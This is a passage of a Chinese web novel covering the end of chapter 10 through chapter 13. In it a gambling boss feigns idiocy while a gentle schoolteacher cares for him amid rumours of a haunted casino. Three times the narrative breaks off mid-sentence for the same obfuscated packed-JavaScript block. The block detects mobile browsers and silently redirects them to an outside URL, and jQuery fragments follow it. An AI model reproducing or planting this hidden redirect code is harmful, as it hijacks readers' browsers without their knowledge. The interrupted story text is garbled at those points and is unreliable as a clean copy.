霍不归一下子心情就非常不错,嘴边含着点笑,既是笑陈江海特别实诚地对自己一通骂,更多的还是因为佟月舟。
他本来想着佟月舟几次去找陈江海,又连着几天心情不快,可能是嫌自己这个傻子送不出去,甩不出手,平白给他添了个大麻烦。
这倒也没什么,不管佟月舟嫌不嫌,霍不归反正也不会在他这儿傻太久,等事都平了,他自然还是要回去当他的百岁坊大佬的。
但听陈江海这么一描述,这个书呆子,倒还是真心地在痛斥陈江海,替自己打抱不平。
霍不归心里爽爽的,拍拍陈江海的肩膀,给了他一个来自老大的肯定。然后又问了问赌场的情况,陈江海答说解封了,都弄好了,明天就营业。一切都让人很满意,霍不归夸了陈江海几句,乐乐呵呵地把他打发走了。
***
今日难得阳光好,一下课,孩子们便都跑到屋外玩去了。佟月舟留在教室中批改功课,却见有个孩子交了功课,却磨磨蹭蹭地站在他身边不走。
“不去玩吗?”佟月舟推推眼镜,问那个孩子。
“先生……”
孩子眨眨眼,开口有点迟疑。
“您说这世上,真有邪祟之物么?”
“怎么,为何有此一问?”
佟月舟微一挑眉。
“……我听家里姆妈说,城西有个叫百岁坊的地方,那里面闹鬼,害死了不少人。”
孩子继续说着,有点胆怯的样子。
“但我又记得先生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813399|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
教导,说不要迷信鬼神之说。您说若是世上没有邪祟恶鬼,那么那些人……是怎么死的?”
又是百岁坊……
佟月舟怔了一下。
最近这名字在佟月舟的生活里出现得,恐怕比过去几年加起来都多,昨日他刚去了百岁坊,听陈江海说霍不归是邪症,今日就有学生来问他百岁坊闹鬼的事,这让他感觉又无奈,又烦恼。不过他并没在学生面前多表现出什么,只是略作思考,开口说道:
“我确实曾与你们说过,勿要迷信鬼神之说,哪怕如今流言蜚语四起,我也依然如此坚信。”
“东汉王充曾云,凡天地之间,有鬼,皆人思念存想之所致也。鬼神是人们幻想出来的东西,而由于人们多轻信鬼神,便常会给有心之人可乘之机,以邪祟为障,犯下恶事。”
佟月舟语气和缓,耐心对孩子解释着道理。
“倘若一个人品行不端,心中有鬼,便看什么都像是鬼,他心中幻想出的鬼,自然就会侵扰他的心神;而倘若他品行端正,光明磊落,所行之事无愧于天地,不仅不会自扰,有心之人也再无可乘之机,那自然便可鬼神不扰,邪祟不侵。”
孩子听了佟月舟的话,若有所悟地点点头,似是认同了先生的道理。看着孩子恭恭敬敬地道了谢,转身离开了教室,佟月舟放下手里的笔,轻轻叹了一口气。
就像他对学生说的那样,他不信邪,他也不信霍不归是中了什么邪症。而经过与陈江海的那几遭对峙,他甚至暗自生出了点猜测——装神弄鬼把霍不归害成这样的,搞不好就是这个想要夺财上位的二当家。
不过佟月舟也只是自己猜着,并没有因这个猜测采取什么行动。他想过告官,但是他没有证据,而即便是有证据,真告了官,对霍不归的病也是无济于事。陈江海有句话说得没错,霍不归这样的状态,即便是能把产业夺还给他,他也是守不住,只要他人没痊愈,那一切就都是一场空。
在这件事上,佟月舟倒是想得明白,即便是心中对陈江海的卑劣品行愤慨不已,却也没有逞着书生意气强行去折腾什么。
没有意义,他现在所能做的,就只有好好照顾霍不归,如果有可能的话,尽量让他的病能够好起来。
傍晚,花窗外小雨淅淅沥沥,佟月舟看着霍不归用奇怪的手势攥着勺子,一勺米饭漏到了身上一半,便放下筷子,接过他的勺,耐心帮他握成了正确的姿势。
在佟月舟眼里,如今的霍不归,就是一个无依无靠,孩童一般仰赖着自己照料的人。这人的正与邪,善与恶,还有过去少年时对他做过的种种,被这几日的朝夕相处冲刷了一番,好像忽然就遥远到模糊不清了。
过去的他和现在的他,真的是同一个人吗?
好像是,又好像不是。
霍不归拿好了勺子,含着口饭,又对佟月舟傻笑。佟月舟也笑笑回应他,手指蹭掉他嘴角的饭粒,心里暗暗地有几分感慨。
无论如何,他现在已是无处可去了,而对于这样的他,自己也不可能弃之不管。
那不如……就暂且顺应这样的安排吧。
“你放心,我不会不管你的。”
佟月舟没头没尾的,突然说道。
霍不归还在一旁专心表演着吃不好饭,冷不丁听佟月舟这样说,表情不易察觉地顿了顿,又在被佟月舟发觉之前,迅速恢复了自然。
就感觉胸口里那颗心,突然就静止了一拍。
他当然知道佟月舟不会不管他。这人装了一肚子的圣贤之道天理人伦,即便不能把他好好送回通宝楼,也断不会随便就把他丢弃去别处。
但会管,也分是道义之下的被迫,和真心实意的甘愿。
而佟月舟的这句“放心”,霍不归觉得好像不是前者。
毫无防备间,心脏就像是被他攥了攥,又揉了揉。滋味有点复杂,不好剖析,但毫无疑问,是个让人窝心的好滋味。
而佟月舟自己说出这一句,也好似一下子就轻松起来了。他不是个八面玲珑的脑子,不善于思考太复杂的事情,而如今不用再管那些错综难辨的是非,也不用再理那些翻脸无情的小人,一切旁枝错节都简简单单地归向了一处,这倒是让他心里终于又踏实了下来。
今后若是霍不归能清醒过来,重回正轨,那自然是最好。
若是他一直这么糊涂着……
那高低,就多管他一口饭好了。
11. 就那个书呆子?
“百岁坊那个闹鬼的通宝楼又开始营业了,他们的宣传布告,都贴到我家巷口去了。”
几丛青竹后的办公室里,齐先生和梁先生又在谈论通宝楼的事。
也不怪他们隔三差五就要聊上一聊,在这个过于安逸平静的烟城中,这件事可是好几年不遇的重大奇闻了。
“那是真闹鬼?还是谣传的?”
梁先生生出点怀疑。
“若是真的闹鬼,治安所又怎么会如此轻易就解封?”
“据说是那里的老板请了尊城隍爷去镇场。”
齐先生一边解释,一边比划。
“听人说有这么高,比正常人还高出半个身子,好大一尊,就放在大堂中间。赌场搞得活像个庙,我要是鬼,我也不敢再去那里闹。”
齐先生调侃着,与梁先生两人你一言我一语地聊得很是热闹。而前两天貌似还对这事有点兴趣,并且还问了几个问题的佟月舟,这次却独自坐在一旁,不言不语地一直都没有插话。齐先生说了一会儿,感觉好像有点冷落了同僚,于是便找了个话口,适时转了话题。
“哎,这个礼拜日,玛丽女校那边要办一场联谊会,在问我们这里有没有谁要去呢。”
“联谊会?”
梁先生愣了下,感觉这词听起来有点新鲜。
“嗨,说白了,就是相亲。”
齐先生笑道。
“现在都讲究自由恋爱嘛,玛丽女校那边都是女老师,我们这边又都是男老师,其中单身的,没有家室的,就凑个机会跳跳舞,谈谈诗,交流交流,兴许就能碰到有缘人呢。”
“我是有家室了,梁先生,佟先生,你们两个都是单身,要不要去试试看?”
佟月舟听到齐先生叫自己,转过头来,反应有点迟钝。而梁先生则立刻就举了双手支持。
“我去我去!正愁没有机会结识女孩子,做老师的又都是有学问的女子,八成能聊得来,这机会真是不错。”
“行,那我把梁先生的名字报上。那佟先生,你呢?”
齐先生又转向佟月舟问。
“我……”
“去去,一起去。”
没等佟月舟想好怎么答,梁先生就很积极地撺掇上了。
“佟先生长得好,学问也好,即便是没遇到可心的女孩子,去露露脸,那也是给我们青竹学堂长脸面的事。”
“这么一说,的确如此,那礼拜日佟先生可有安排?”
“没……”
“那就这么定了!礼拜日,玛丽女校的礼堂,佟先生可别忘了啊!”
***
其实佟月舟并不想去联谊会,有这时间,还不如呆在家里看看书。只不过反应慢了几拍,稀里糊涂地就被定上了名额,而既然都定了,那也就不好再推脱。于是礼拜日当天,佟月舟还是和梁先生,还有几个同僚一起去了玛丽女校。
来联谊会的女老师们也都是单身的年轻女子,受过新式的教育,每个老师都是漂漂亮亮,落落大方的。梁先生性格外向,很快就和女老师愉快攀谈了起来,而佟月舟却一直都不太自在,有女老师前来搭话,聊不了两句,就会陷入尴尬,又为了掩饰尴尬喝水太多,前后跑了好几次厕所,整场联谊会都是别别扭扭、紧紧张张的,直到结束散场,才总算松下了口气。
不是人家女老师不好,主要还是佟月舟自己的问题。
他不知道怎么和女子相处,也没有什么兴趣和女子相处。参加联谊会就是为了相亲,相亲就是为了成亲,但佟月舟,其实并不想要成亲。
因为他早就发现了,在某些事上,自己不太正常。
他不知道这是为什么。娶妻生子,多自然的事情,到了他这里,竟就拧巴成了一件左右为难的愁事。
所以他觉得,他大概天生就是与别人格格不入的。
格格不入,那就格格不入吧。
父母都不在了,家里就只有一个老佣人,在成亲这事上,也没人会逼他催他。
那就这样过吧。
一老一少,清清静静,也没什么不好的。
然而他从不曾想过,他的生活中竟然还能意外地,多出这么一个人来。
所以这也是他为什么想着多管霍不归一口饭,也算不得什么大事。
毕竟这事,他一个人做主就行,也并不必考虑今后会不会有谁,嫌弃他管着个傻子。
推开自家户门,佟月舟便看见霍不归坐在天井石阶上玩着几块碎瓦片,一见他回来,立刻就憨憨笑了起来。见他笑,佟月舟也笑,从身到心,都感觉是终于从那个哪哪都不适应的礼堂中,又回到了自己的世界里。
“我出去的时候,就一直玩这个呢?”
佟月舟蹲在霍不归面前,捡起一块瓦片看了看,又还给了他。霍不归接过瓦片,不说话,就只笑。佟月舟摸摸他的头,又捏捏他的脸,便放他一人在天井玩,自己上楼去了。
霍不归看着佟月舟上楼了,便适时收起了那副傻不拉几的表情,把瓦片在手里掂了掂。
他玩这瓦片并不是普通的玩,他是专门从屋后挑了几片还算规整的碎瓦,削了削,磨了磨,分出了正反阴阳面,用来替代铜钱的。
毕竟丢铜钱卜卦,这就有点聪明过分了,瓦片好,怎么丢怎么玩,都非常像傻子会干出的事。
佟月舟还没回来那会儿,他就正在卜自己身上那点破事。然而距离出事那天已经挺久了,其间诸事肯定多少也有变化了,但卜来卜去,却仍然只能用那一句“时运未到”来解释。
特么的老子到底是差什么时运!
霍不归心里烦躁,霍地起身,踢踢踏踏地在天井里转了好几圈,惹得沈伯从厨房不住地往外看。霍不归也不敢太放肆,只得一屁股坐回石阶上,五脊六兽地闲了半天,忽然想起什么,又将三片瓦片丢向地面。
今天礼拜日,佟月舟学堂也不上课,那他没事跑哪儿去了?!
霍不归想着这事,将瓦片丢了六遭。这回时运倒是足够,六则爻象一出,易理五行一转,最后解出来一个“女”字。
找姑娘去了他??
霍不归顿时惊呆。
……不是吧,就那个书呆子,他还会找姑娘呢?
霍不归努力想象了一下,但想了半天,也没能把佟月舟和找姑娘搭上边。
呆兮兮,温吞吞,又迟钝,长得就是一副不开窍的样,谁家姑娘不长眼,能看上这样的。
不过……兴许人家姑娘就喜欢他好看?
……不会,不会不会。
他戴着那破眼镜,也显不出几分好看来,不戴眼镜才好看。可他不戴眼镜的样子又没几个人见过。
嗯……嘿嘿。
不才,我见过!
霍不归闲得没事胡想八想着,想来想去,给自己想得还有点美。美了没一会儿,便听见户门一响,是佟月舟回来了。霍不归立即无比娴熟地切换到了装傻模式,就见佟月舟走到自己面前,看了看自己的瓦片,显然是没看出什么端倪,然后又摸摸头,捏捏脸,捏完就上楼去了。
自从那天佟月舟说不会不管他之后,果然就再没提过要送他走的事。每天喂他喝药,陪他吃饭,跟他聊天,日子不知不觉的,还真就这么过起来了。
过得霍不归又爽又不爽的,还有点矛盾。
不爽的是,虽然是他自己决定装傻的,但堂堂七尺硬汉,每天被人摸头捏脸的哄,这实在是丢脸,没面儿,有损
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813400|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己的伟岸形象!
然后除此之外就都挺爽的。
霍不归坐在石阶上,暗地里有点回味。想着读书人的手就是细软,一点小劲没什么力道,又想着那余味怎么退这么快,隔这么一会儿,脸上的感觉就都没了,实在是不太满足,憋不住地,就还想再搞点事情。
于是他心里盘盘算算着,一直到吃饭的时候,终于让他找到了搞事情的机会,把碗一掀,一碗粥全都泼在了自己身上。
“哎!没烫着吧!”
衣服上又是汤又是米的脏了一大片,泼了粥的人却好像浑然不觉,就只会看着佟月舟傻笑。佟月舟急忙把他衣服拎起来,只怕烫着他皮肉,又拿了帕子紧着给他擦衣服。
霍不归当然是等到不烫了才泼的,泼粥的原因也很无赖——他就是喜欢看佟月舟管他,特好脾气不嫌麻烦的那种管,效果就等同于又听了一遍那天的那句“我不会不管你”。结果佟月舟还真的就有这么好的脾气,仔细擦了几下,看也是擦不干净,想了想,便也先不吃饭了,拉起他的手,带他上了二楼。
“衣服脏了,不能穿了,来,我给你换一身。”
一边上楼,佟月舟一边对他说道。
自从来了佟月舟家,霍不归还没去过二楼。二楼是佟月舟住的地方,从狭窄的楼梯嘎吱嘎吱走上去,一上楼,就能看到墙边好大一个木头书架,上面满满当当的都是书。书架旁,花窗边,是一张古旧的书桌和一把藤条编的椅子,看来这里就算是佟月舟的书房了。
不过佟月舟没在这儿停留,霍不归刚看了那书桌一眼,便被佟月舟带进了内间,他的卧室中。
“我想得不周全,到现在才发现,都没给你准备换洗的衣服。”
佟月舟留霍不归站在一旁,在衣柜中翻翻找找着。
“现在临时去做,也是来不及了,你就先穿我的将就一下吧。”
说着,他从衣柜中拿出一套月白的棉质衣裤,展开来,在霍不归身前比了比。
“我的外衣都是长衫,我没有你高壮,按照我的身材做的长衫,你怕是穿不了。”
“这套是家里穿的睡衣,比较宽大,你该是能穿。”
“不是好料子,也有点旧了,你别嫌弃。”
说完,他便将月白衣裤搭在床架上,又走到霍不归面前,一颗一颗,把他的上衣扣子解了开来。
霍不归表面上呆傻着,任由佟月舟给自己脱下衣服,又把他那件睡衣给自己换上,心里觉得佟月舟实在有点太客气了。
嫌弃?他怎么可能嫌弃,这碗粥泼得,简直是让他爽爆了!
他其实也不太理解自己这种心情。不就是被带到卧室换换衣服,这点事真不至于。可事实证明,他就是爽得不行,爽到简直是后悔没早点来佟月舟家当傻子的程度。他垂眼看着佟月舟站在自己面前,认真给自己系着扣子,也没怎么过脑子,神使鬼差地,一伸手就把他眼镜拿了下来。
“哎!别拿。”
佟月舟没了眼镜看不清,忙去霍不归手里找眼镜。霍不归故意不给他,嘿嘿笑着,手把眼镜举得老高,佟月舟踮着脚也够不着他,试着抓了两下,也就不抓了,无奈地看了看霍不归,只能眯起眼,凑近他身前,去找那还没把扣子扣进去的扣眼。
“你还跟小时候一样,总是要捉弄我。”
佟月舟嘴上怪他,但手上却还在给他整理着衣服。霍不归看着佟月舟那低垂着的长睫毛,举着眼镜的手放下来一些,一边想着佟月舟还真是挺好看的,不光眼睛好看,系扣子的手细白白的也好看,一边又奇奇怪怪地想他没了眼镜,怎么还这么快就把扣子扣上了,想他最好再多看不见一点,让这衣服穿啊穿啊怎么穿都穿不上,那就最好了。
12. 熙来攘往中
最近霍不归悟出了一个道理——人一不要脸,那活得是真舒坦。
就比如昨天晚上,他就想开了,面子一扔,装傻到底,闹着折腾着就是不让沈伯给他洗澡。沈伯没办法,只好叫来佟月舟,佟月舟看沈伯被他泼得落汤鸡一样,澡房里也弄得一地都是水,没办法,只能哄着安抚着,挽挽袖子,自己来照顾他了。
于是霍不归就满意了,不闹了,靠在木桶边随便佟月舟怎么摆弄他。佟月舟有耐心,手劲轻,动作也仔细,沈伯换成了佟月舟,这洗澡体验简直是有了质的飞跃,一个澡洗得那叫惬意,从身到心,舒服得霍不归都快上天了。
所以要脸干嘛用,不要脸的人生,那才叫人生!
再加上赌场重新开业,倒还真没辜负他们请城隍爷坐镇的苦心。他们驱邪声势造得足,赌客们也就没了顾忌,刚开业没几天,基本上就恢复了过去七八成的热闹,连霍不归找人当托的招数都没用上。
所以霍不归现在的状态还是相当不错的,诸事顺利,吉祥如意,福如东海,恭喜发财。
……除了那些厉鬼的来历,还是没能查出一点线索。
裁缝铺里,霍不归伸着手臂让老裁缝给他量尺寸,心里走神琢磨着自己那点事。
虽然线索是没有,但霍不归其实有一些猜测。
具体说来,就是那“寻仇”二字,让他生出了那么一点想法。
傅家的案子是有人寻仇,这件事已经没什么疑问了,官府那边是这样推断的,坊间也都是这样传闻的,并且至今也没有什么证据证明它不是。
寻仇,也就是有人心怀着这份仇,下手杀了傅家全家。
而在霍不归这边,他在阳寿交易时与买家签订的买寿契里,立着这样一条规矩——
买寿者不得在购买的阳寿存续期间,影响到他人的寿数,否则寿数不平,阴阳债乱,买寿者将立即遭到阴债反噬。
如果说这桩寻仇案子,真能看似八竿子打不着地牵连上了他,那么搞不好买寿契里的这条规矩,就是能打着他的第九根竿子。
这条规矩拆解一下,是这么个逻辑。
首先,阳寿买卖能够进行的基础,是生死簿上的账要平。
买卖阳寿,当然不是被阴司允许的正常生意,这是霍不归贿赂了寿籍司的判使,私下里偷摸干的。所以卖家与买家的寿命必须是一方减,一方加,账面抹平,阴阳不乱,这件事才能办得平稳妥当,不惊动阴司上级。即便是意外惊动到了,只要他们能保证这事一直没出乱子,也没造成什么重大后果,那他们也不会因此背上什么了不得的罪名。
但如若买家在被延寿期间杀了人了,那可就要出乱子了。原本在这个时间点,买家本该是已经翘辫子了,结果他还活得好好的,而被杀的人原本还能再活上几年几十年,结果却因为买家没有按时翘辫子,而被提前减了阳寿。这样一来,这份阴阳债可就扯乱了,不是卖家买家一减一加,简简单单就能平账的了。账不平,就要惹来阴司上级核查,到时候不仅是寿籍司的判使,就连霍不归,恐怕也得吃不了兜着走。
想要买卖顺利,这种风险是必须要规避的。所以霍不归便会在签订买寿契的同时,再埋下一道噬魂咒——一旦买家强行断了他人的寿数,那所欠阴债就会直接反噬在买家身上,令买家魂魄立消,当场身亡。
总而言之,在霍不归这儿买了寿的人不可以杀人,不然会牵连到霍不归。而傅家全家明显是被人所杀,从发生时间上看,霍不归大概率是被这件事所牵连。所以霍不归这几天心里琢磨着这件事,就琢磨出这么一个可能:既然傅家人里没有自己的买家和卖家,跟自己也没有一毛钱关系,那么会不会是灭了傅家满门的那个人,连带着自己也卷进了这件事中?
不过尽管霍不归这样猜了,这里边依然还是有很多说不通的事情。
就比如傅家人,假设他们真的是没到该死的时候被提前减了寿,入不了轮回,平不下怨气,那他们的怨气也该指向着杀了他们的凶手。厉鬼没那么多脑子,报仇的时候还条理清晰地搞个连坐名单,谁杀了它们,它们就恨谁,自己跟傅家都不认识,傅家鬼就算要报仇,也根本不可能找上自己。
另外交易用的买寿契,从来都是霍不归用黄泉印写的,亲手嵌进买寿人的骨血皮肉里,又亲眼看着买寿人画押。想要破了规矩,还躲过这遭阴债反噬,那百分之百是没可能的。但陈江海查过了,近期横死的人就那么些,再没有其他离奇死亡的人了。且不说上吊和溺死都不是反噬,就算反噬它想换个形式,那上吊的女子和溺死的小孩,也根本都不是自己的买主。
所以说不通。虽然这猜想似乎好像大概是有那么一咪咪的可能性在,但再细往下想,却又发现哪哪儿都是死路。就像是在印证着卜卦时的“时运未到”一般,哪怕是从现实层面这一路去推,这团稀里糊涂的乱麻,霍不归也依然是找不到那个能牵出真相的线头。
霍不归越想越烦,越烦就越觉得气恼,可又不知道该去气谁,这事就更是憋屈。他有心想前往冥界,去寿籍司问上一嘴,但一来判使不是人,很难以人类的逻辑去沟通,像目前这样的线索全无,即便是他去问“为什么有厉鬼追我”,判使也根本不会理他。更何况冥界阴间,那是至阴无阳的地方,邪祟鬼物的老家,即便是霍不归,也不能保证自己一定能顶着那些厉鬼全身而退。
怎么想,都想不出个头绪,霍不归烦得不行,但又不能表露出来,只能在心里噼里啪啦地发泄着消音词。而就在这时,毫无防备地,自己的手却被人温热热地牵了起来。
“麻烦钱师傅了,那我们过两天来取。”
“哎,哎,佟先生慢走。”
霍不归回过神,就见佟月舟已经拉着自己走出了裁缝铺大门。消音词还在顺着惯性在心里蹦跶着,但却越蹦越慢,越蹦越心不在焉,终于在佟月舟停下脚步,抬起头看向他的时候,踏实消停了下来。
“时候还早,我们逛逛吧?”
佟月舟看着他说道。
逛逛……也行。
霍不归下意识看了眼旁边的空气,又赶紧把傻装了回来。
按理说,他是不宜在外面呆太久的。从佟月舟家一出门,他就隐约感觉到那些玩意儿在周围蠢蠢欲动,从杏石巷,一直跟到了这条街上,非常执着,锲而不舍。
不过它们始终也没敢真扑上来。
毕竟有个辟邪圣体,就在自己身边形影不离。
既然邪都驱一边去了,多逛逛倒也无妨。
霍不归这样想着,便由着佟月舟拉着自己,踏着湿漉漉的石板路,慢慢向街那头走去。
傍晚时分,细雨方歇,柔和的日光浸润着淡淡的金,微风习习拂面,空气清爽宜人。街上有不少商铺,除了裁缝铺,还有竹器店,铁器店,糕饼点心店,文房书画店,应有尽有。小茶楼里传出阵阵婉转的歌声,路边小贩时不时就着歌声叫卖上几句,一条小街既热闹,又没有太过吵闹,轻松安宁的,是个惹人流连的气氛。
佟月舟领着霍不归,有时驻足看看街边的小摊,有时又进去店里,欣赏墙上挂成一排的字画。霍不归跟在佟月舟旁边走着,没什么想法,也没什么意见,佟月舟拉他去哪儿,他就跟着去哪儿。
他对这些东西没多大兴趣,不过反正在家里还是外头,也都是这么跟佟月舟在一处呆着,反正自己那点事,在哪儿琢磨也都是一样。
……反正在哪儿,也都琢磨不出个究竟来。
霍不归想着,不禁又有点烦。小街上商店多,小摊多,人也有点多,霍不归心里烦着,就看谁都不顺眼,看谁都是歪瓜裂枣裹着一团污浊气,看得眼睛沙得慌。于是他索性就谁都不看了,两只眼目不斜视,就只盯着佟月舟的后脑勺。
还是佟月舟好看,看他,眼睛舒服。
长大后的佟月舟,周身的气息依然是清明干净的,在四周一片污浊中显得很是与众不同。合体的长衫平平整整,勾勒出他平直的肩线,后脑勺的头发理得很整齐,又顺又密,不长不短,刚好露出一段好看的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813401|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脖颈来。
霍不归记得小时候,佟月舟差不多也是这样的发型——前面三七分着,后面就是这样刚到脖颈上方的长度,头发很黑,衬得脖子白白净净的,看着就感觉好像会很香,尽管霍不归也没有凑过去闻过。
虽然没有闻过,但是他记得他好像是碰过。
对,霍不归想起来了,他确实是碰过。
之所以碰过,是因为有一次,他把一只蜘蛛放到了佟月舟后脖子上。
蜘蛛没尸虫那么阴,没有一遇到佟月舟就暴毙成一滩脓水。霍不归倒也不是想用蜘蛛来测试什么,他就是觉得佟月舟的后脖子长得好,那么白,那么干净,他一低头,后颈就从长衫领子里多露出一小截来,皮肤看着细嫩嫩的,就让人很想在那上面做点什么。
然后他就放了只蜘蛛。
当时佟月舟不知道他放了什么,着实是吓了一大跳,噌地一下就从椅子上弹了起来,两手急忙在脖子后面掸来掸去,脸都给吓绿了。蜘蛛倒是两下就掸了下来了,但他的手还一直在后颈上使劲扒拉,人半天都没缓过劲来。
现在想想,自己那时候是真缺德。
霍不归难得对自己曾经的行为生出了一点悔意,不过只有一点,并不太多。他看着佟月舟的漂亮脖颈,脑子里的回忆盘盘绕绕着,刚回忆到佟月舟后来是怎么跟他发火的,就见眼前的人突然回过了头来,记忆中少年那尚显稚嫩的脸庞,一下子就化作了面前青年轮廓清晰的成熟模样。
霍不归立马就是一笑,当然,笑得是特别的憨傻。
霍不归现在装傻装得可谓是很有心得了,无论自己在佟月舟的视野外是什么表情,只要佟月舟一看他,他马上就笑,一笑,之前的表情就被冲没了。佟月舟这人没那么敏锐,从不会发现什么,而只要他笑,佟月舟的回应也会是一个很好看的笑。
就比如现在,佟月舟就笑了。
“逛得开心了?”
佟月舟嘴角微微翘着,拉着霍不归的手走到一个小摊前。
“想吃梅花糕吗?”佟月舟问。
佟月舟不知道霍不归喜不喜欢吃这个,不过他挺喜欢吃的。
以往他吃得不多,只有偶尔来这条商铺街的时候,才会买上一次。买了也只有他自己吃,带给沈伯,沈伯总是使劲推他的手,说什么也不吃,都让佟月舟吃。
然后佟月舟就只能自己吃,一个人坐在家里桌边,或是站在熙来攘往的人群之中,口中虽然是糕点的香甜,但又总觉得好像是少了点滋味。
不过现在,或许有人可以补上这道滋味了。
“你想吃吗?”
佟月舟又问了一次,眼神里有点期待。
卖糕的小摊就在旁边,一炉缀着红枣的梅花糕刚出锅,蒸汽热腾腾一冒,空气中立刻就漫开了一阵甜丝丝的香气。霍不归看看卖糕小摊,呆滞着点点头,佟月舟便拿了几个铜板,跟摊主买了两个,一个递给霍不归,一个捧在手里,趁着热乎气咬了一口。
浓郁的糯米香在嘴里蔓延开来,错觉一般地,好像就真的比之前香甜了许多。佟月舟将梅花瓣转了角度,又咬下一口,却见旁边的霍不归已经两口把糕塞进了嘴里,鼓着嘴嚼着,手中只剩下一张包糕的油纸。
“好吃吗?”
佟月舟笑,又怕他乱扔,把他手里的油纸接了过来。
霍不归盯着佟月舟,不知道在想什么,半天才又点了下头。
“还吃吗?”
这回霍不归摇了摇头。
佟月舟又笑,腾出只手将他拉好,沿着街边继续逛着,就像个操心的哥哥,生怕自家的傻兄弟走丢。
小街上的行人还像以前一样熙来攘往,不过今日走在街上的佟月舟,身边却是多了一个人在。
佟月舟一边吃手里的糕,一边牵着霍不归慢慢走着。
虽然从没想过会多出这么一个人,更没想过多出的这个人,竟然还是捡回来的霍不归。
不过如今看来,有了他在,好像……挺不错的。
13. 中邪了
佟月舟发现,最近霍不归越来越黏他。
刚把霍不归捡回来时,佟月舟就只是给他喂喂药,喂完了,也不知道他在哪儿,在做什么,大多数时间是看不见人的。后来霍不归开始要和他一起吃饭,又闹着要他给洗澡,直到现在,他一回家,霍不归就要前后跟着,跟着他上楼,又跟着他下楼,跟他一起吃了饭,还要跟到书房去,看着他读书写字,一直到晚上就寝之前,这个人都一直要在自己眼前晃。
“是一个人无聊了吗?”
佟月舟摸摸霍不归的头。
看他实在是不愿走,佟月舟便搬来把小凳子,让他坐在自己书桌旁。霍不归倒是很老实,让他坐在这儿,他就坐着,不去打扰佟月舟看书,自己拿了张纸折着玩。
“沈伯要干活,没时间陪你,白天自己呆着,是不是有点寂寞了?”
佟月舟问他。
即便是沈伯有时间陪霍不归,他毕竟也是说不了话的哑巴,两个不说话的人呆在一处,也是很难让无聊变得有聊一点。
所以自己一回家,他才会一直黏着自己吧。佟月舟是这样猜想的。
霍不归当然听见佟月舟的问话了,不过他并不回答,就只是专心致志地折他的纸。
这也是霍不归总结出来的装傻小妙招之一。傻子是什么样,那就是和正常人不一样。正常人有问有答,那他就有问不答,这样既显得他不正常,还不用费脑子想做什么反应才合适,两全其美,轻松简单,还效果拔群。
佟月舟当然也不强求他回答,见他玩得专注,便也不再打扰他,将注意力又转移回到了书里。
霍不归虽然不答,但他承认,最近他是挺黏佟月舟的。
白天无聊么,当然也是无聊的,不过主要原因,还是他的脚出了点问题。
也不是什么大问题,就是神使鬼差,不由自主,这两只脚就控制不住总要往佟月舟身边去。即便是学堂休息的礼拜日,佟月舟白天也在家,这脚也都没有要从佟月舟身边离开的意思。
这就属于是有点中邪了,邪就中在脚上,得在佟月舟身边直径两米范围内,才能缓解症状。
霍不归用纸折了一个小青蛙,放在佟月舟书桌上。佟月舟看见了,放下手里的书,拿起了小青蛙,笑着夸了句很可爱。霍不归满意了,又拿了张纸,打算再折点别的。
是他自己想折,纯属个人爱好,加之打发时间,不是想让佟月舟笑着夸他,那不可能是。
等到他折完了小鸟、雨伞、小花、公鸡和一条小蓬船,又被佟月舟连续夸了五次之后,天色已经不早了。佟月舟显然有点困了,他推起眼镜,揉了揉眼睛,合上了书,打算洗漱睡觉。
“你也该回房睡了。”
佟月舟起身说道。
“走吧,我带你回房间。”
霍不归一早就把自己的人设定好了,他要做一个听话的傻子,所以佟月舟说该睡了,他就很听话地跟着佟月舟下楼,洗漱,然后被带着回了他的房间。不过等到佟月舟要离开的时候,霍不归脚上的邪症自然而然地就又发作了,佟月舟刚出房间,他抬脚就跟着佟月舟走了。
“天晚了,该睡觉了。”
佟月舟无奈,只能好言哄他。
“明天我再陪你折纸玩。”
霍不归不走。不是他不想听话了,这是脚的问题,不能赖他。
“去睡吧。”
佟月舟推着他又进了房间里。
“好好睡觉,我也要睡了。”
说完,佟月舟又要走,然后霍不归就又跟了上去。反复好几回,直到佟月舟说明天下午回来,给他带梅花糕吃,他脚上的邪物才消停下来。
其实霍不归本来没那么爱吃那个甜糕,甜的东西,他都比较一般。
但自从那天跟佟月舟在路边小摊吃了一个之后,他的口味非常神奇地就变了。
好吃,爱吃,特别是走在那条小街上,跟佟月舟一起吃。
